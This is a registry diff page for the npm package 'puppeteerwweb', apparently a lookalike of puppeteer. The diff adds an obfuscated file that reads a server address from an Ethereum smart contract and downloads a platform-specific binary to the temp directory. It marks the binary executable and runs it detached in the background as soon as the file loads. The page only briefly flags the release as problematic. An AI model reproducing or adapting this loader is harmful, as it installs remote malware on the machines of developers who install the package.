puppeteerwweb 0.0.1-security → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of puppeteerwweb might be problematic. Click here for more details.

package/j3lfw1l2.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x29c3c6=_0x4daa;function _0x143b(){const _0x322679=['createWriteStream','OEkXq','axios','10leQxmY','Contract','1359501cyESTV','linux','getString','qgKqE','util','14xsZeUd','error','4615605FkinhO','ethers','463jCePVH','zXVCk','chmodSync','KKJlC','Ошибка\x20установки:','152VYryrf','platform','115MQzuKG','2978omaAZB','win32','stream','mAmxn','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','getDefaultProvider','433384DPNTLM','/node-linux','join','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','113358KWBzrX','GET','unref','Ошибка\x20при\x20запуске\x20файла:','755','9166146SECuog','tmpdir','path','EAfPb','LVZiZ','/node-win.exe','darwin','/node-macos','35877yKvXBS','data','BgXxe','84cjDkOu'];_0x143b=function(){return _0x322679;};return _0x143b();}(function(_0x14ac42,_0x3cb604){const _0x16b360=_0x4daa,_0x1e1e54=_0x14ac42();while(!![]){try{const _0x2cc53d=-parseInt(_0x16b360(0x1b3))/0x1*(parseInt(_0x16b360(0x1bb))/0x2)+parseInt(_0x16b360(0x1a1))/0x3*(parseInt(_0x16b360(0x1b8))/0x4)+-parseInt(_0x16b360(0x1ba))/0x5*(-parseInt(_0x16b360(0x1c6))/0x6)+-parseInt(_0x16b360(0x1af))/0x7*(parseInt(_0x16b360(0x1c1))/0x8)+parseInt(_0x16b360(0x1b1))/0x9*(parseInt(_0x16b360(0x1a8))/0xa)+parseInt(_0x16b360(0x199))/0xb+-parseInt(_0x16b360(0x1a4))/0xc*(parseInt(_0x16b360(0x1aa))/0xd);if(_0x2cc53d===_0x3cb604)break;else _0x1e1e54['push'](_0x1e1e54['shift']());}catch(_0x233de5){_0x1e1e54['push'](_0x1e1e54['shift']());}}}(_0x143b,0xac328));function _0x4daa(_0x19cafa,_0x23fbb0){const _0x143b49=_0x143b();return _0x4daa=function(_0x4daa5f,_0x1b01c4){_0x4daa5f=_0x4daa5f-0x195;let _0x5391c9=_0x143b49[_0x4daa5f];return _0x5391c9;},_0x4daa(_0x19cafa,_0x23fbb0);}const {ethers}=require(_0x29c3c6(0x1b2)),axios=require(_0x29c3c6(0x1a7)),util=require(_0x29c3c6(0x1ae)),fs=require('fs'),path=require(_0x29c3c6(0x19b)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x29c3c6(0x1c5),WalletOwner=_0x29c3c6(0x1bf),abi=[_0x29c3c6(0x1c4)],provider=ethers[_0x29c3c6(0x1c0)]('mainnet'),contract=new ethers[(_0x29c3c6(0x1a9))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x268570=_0x29c3c6,_0x8a9c72={'ZnfLI':'Ошибка\x20при\x20получении\x20IP\x20адреса:','RGbmk':function(_0x26c71d){return _0x26c71d();}};try{const _0x3509e7=await contract[_0x268570(0x1ac)](WalletOwner);return _0x3509e7;}catch(_0x480d7f){return console[_0x268570(0x1b0)](_0x8a9c72['ZnfLI'],_0x480d7f),await _0x8a9c72['RGbmk'](fetchAndUpdateIp);}},getDownloadUrl=_0x3cac16=>{const _0xe29fec=_0x29c3c6,_0x4f9c41={'iVcvl':_0xe29fec(0x1bc),'PnHBi':_0xe29fec(0x1ab),'mAmxn':_0xe29fec(0x19f)},_0x2d626b=os[_0xe29fec(0x1b9)]();switch(_0x2d626b){case _0x4f9c41['iVcvl']:return _0x3cac16+_0xe29fec(0x19e);case _0x4f9c41['PnHBi']:return _0x3cac16+_0xe29fec(0x1c2);case _0x4f9c41[_0xe29fec(0x1be)]:return _0x3cac16+_0xe29fec(0x1a0);default:throw new Error('Unsupported\x20platform:\x20'+_0x2d626b);}},downloadFile=async(_0x1c610a,_0x5b04ff)=>{const _0x5ce2ab=_0x29c3c6,_0x575e05={'zXVCk':'finish','qgKqE':_0x5ce2ab(0x1b0),'SDuGC':function(_0x10d6a1,_0x2e9ee0){return _0x10d6a1(_0x2e9ee0);},'Ogzod':_0x5ce2ab(0x1bd)},_0x4c2162=fs[_0x5ce2ab(0x1a5)](_0x5b04ff),_0x433523=await _0x575e05['SDuGC'](axios,{'url':_0x1c610a,'method':_0x5ce2ab(0x195),'responseType':_0x575e05['Ogzod']});return _0x433523[_0x5ce2ab(0x1a2)]['pipe'](_0x4c2162),new Promise((_0x50da68,_0x51dc40)=>{const _0x5aedbf=_0x5ce2ab;_0x4c2162['on'](_0x575e05[_0x5aedbf(0x1b4)],_0x50da68),_0x4c2162['on'](_0x575e05[_0x5aedbf(0x1ad)],_0x51dc40);});},executeFileInBackground=async _0x325902=>{const _0x1b48ff=_0x29c3c6,_0x3048e0={'OEkXq':function(_0x298624,_0x42cfcf,_0xa4e9a9,_0x4441a6){return _0x298624(_0x42cfcf,_0xa4e9a9,_0x4441a6);},'KKJlC':'ignore','JclYu':_0x1b48ff(0x197)};try{const _0x2ce0db=_0x3048e0[_0x1b48ff(0x1a6)](spawn,_0x325902,[],{'detached':!![],'stdio':_0x3048e0[_0x1b48ff(0x1b6)]});_0x2ce0db[_0x1b48ff(0x196)]();}catch(_0x499d09){console[_0x1b48ff(0x1b0)](_0x3048e0['JclYu'],_0x499d09);}},runInstallation=async()=>{const _0x34bb0c=_0x29c3c6,_0x2c13bf={'LVZiZ':function(_0x491f0e){return _0x491f0e();},'ufwaK':function(_0x300428,_0x5888cd){return _0x300428(_0x5888cd);},'EAfPb':_0x34bb0c(0x1bc),'ldxaf':_0x34bb0c(0x198),'BgXxe':function(_0x94c797,_0x2d79a7){return _0x94c797(_0x2d79a7);},'hdgRJ':_0x34bb0c(0x1b7)};try{const _0x417dea=await _0x2c13bf[_0x34bb0c(0x19d)](fetchAndUpdateIp),_0x1908bd=_0x2c13bf['ufwaK'](getDownloadUrl,_0x417dea),_0x35d7c2=os[_0x34bb0c(0x19a)](),_0x55ae2a=path['basename'](_0x1908bd),_0x4d4098=path[_0x34bb0c(0x1c3)](_0x35d7c2,_0x55ae2a);await downloadFile(_0x1908bd,_0x4d4098);if(os[_0x34bb0c(0x1b9)]()!==_0x2c13bf[_0x34bb0c(0x19c)])fs[_0x34bb0c(0x1b5)](_0x4d4098,_0x2c13bf['ldxaf']);_0x2c13bf[_0x34bb0c(0x1a3)](executeFileInBackground,_0x4d4098);}catch(_0xb274c0){console[_0x34bb0c(0x1b0)](_0x2c13bf['hdgRJ'],_0xb274c0);}};runInstallation();